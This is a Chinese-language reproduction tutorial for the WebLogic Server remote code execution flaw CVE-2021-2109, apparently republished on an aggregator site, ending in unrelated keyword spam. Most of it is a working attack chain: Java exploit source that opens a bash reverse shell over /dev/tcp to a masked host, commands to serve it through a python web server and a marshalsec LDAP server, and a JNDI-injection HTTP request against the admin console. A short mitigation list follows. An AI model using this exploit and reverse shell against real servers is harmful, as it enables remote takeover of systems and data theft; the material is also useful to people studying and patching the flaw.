千家信息网

如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇文章为大家展示了 如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。CV
千家信息网最后更新 2026年11月01日如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析

本篇文章为大家展示了 如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

CVE-2021-2109 Weblogic远程代码执行

一、漏洞简介

Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

二、影响版本

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

三、漏洞复现

环境准备:WebLogic 10.3.6.0.0(win)

登陆后台:

http://192.168.1.111:7001/console/login/LoginForm.jsp

启动Ldap服务:

具体方法参考以前的fastjson方式:

Fastjson1.2.47反序列化漏洞复现

具体地址:https://mp.weixin.qq.com/s/69NCDDSaa07YY7DwyC9fgA

将下面exp保存为Exploit.java文件

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"}); Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/XXXXXX/34567;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}

javac Exploit.java 编译生成Exploit.class文件

python启动web服务

python -m SimpleHTTPServer 1111

通过python启动exphttp服务启动ldap服务(RMI服务)

本次复现使用ldap服务,同时也将RMI对应的操作也做了截图整理,主要是的原因的RMI的JDk版本支持,LDAPJava的版本本环境的支持(注意JDK的版本,这个是可能成功与否的关键)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://XX.XX.XX.XX:1111/\#Exploit 999

ldap抓包访问修改数据包

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;100:389/exp;AdminServer%22) HTTP/1.1Host: 192.168.1.111:7001User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.111:7001/console/login/LoginForm.jspConnection: closeCookie: ADMINCONSOLESESSION=UXojCN1Oo-FkguAuuU35Z6tZ2-zmMUTskIjOizb35HOEcL6AwZCl!-2080081994; JSESSIONID=sKsgWcOgre9zQdntt3QYv14IleXkZ94jW9vYYt4fEIOdNBaQtBeV!-1871779164Upgrade-Insecure-Requests: 1

POC:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;100:389/exp;AdminServer%22) HTTP/1.1

执行成功效果

具体的演示demo视频:https://mp.weixin.qq.com/s/nTfnRlAbAa7WjLsCBRx30g

四、安全建议

1、禁用T3协议

如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响

1). 进入Weblogic控制台,在base_domain配置页面中,进入"安全"选项卡页面,点击"筛选器",配置筛选器。

2). 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s。

2、禁止启用IIOP

登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效

3、临时关闭后台/console/console.portal对外访问

4、升级官方安全补丁

上述内容就是 如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

漏洞 服务 代码 筛选器 安全 版本 控制 分析 成功 内容 后台 官方 技能 控制台 文件 环境 知识 补丁 页面 影响 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网络科技 深圳市人人互联网科技有限公司 互联网科技金融 广州宏创互联网科技 互联网科技缩写 互联网科技ppt模板 深圳天众互联网科技公司 茂名市互联网科技产业园 浙江互联网科技研学营 注册互联网科技公司经营范围大全 西安小鹰速贷互联网科技有限公司 晋城互联网科技 群盈汇互联网科技有限公司 山东子淼互联网科技有限公司 广州千川互联网科技有限公司 35岁以上互联网科技行业 九思连强互联网电子科技有限公司 广州梦谷互联网科技有限公司领导 银川新华互联网科技学校是国营吗 深圳互联网科技园地址 互联网科技有限公司经营范围 云电互联网科技 科技互联网公司logo 哈尔滨新华互联网科技 中国最先进互联网科技公司 成都铂石互联网科技做什么的 互联网安防科技感 同城互联网络科技 互联网科技和医药行业 山东蛋芒互联网科技有限公司
0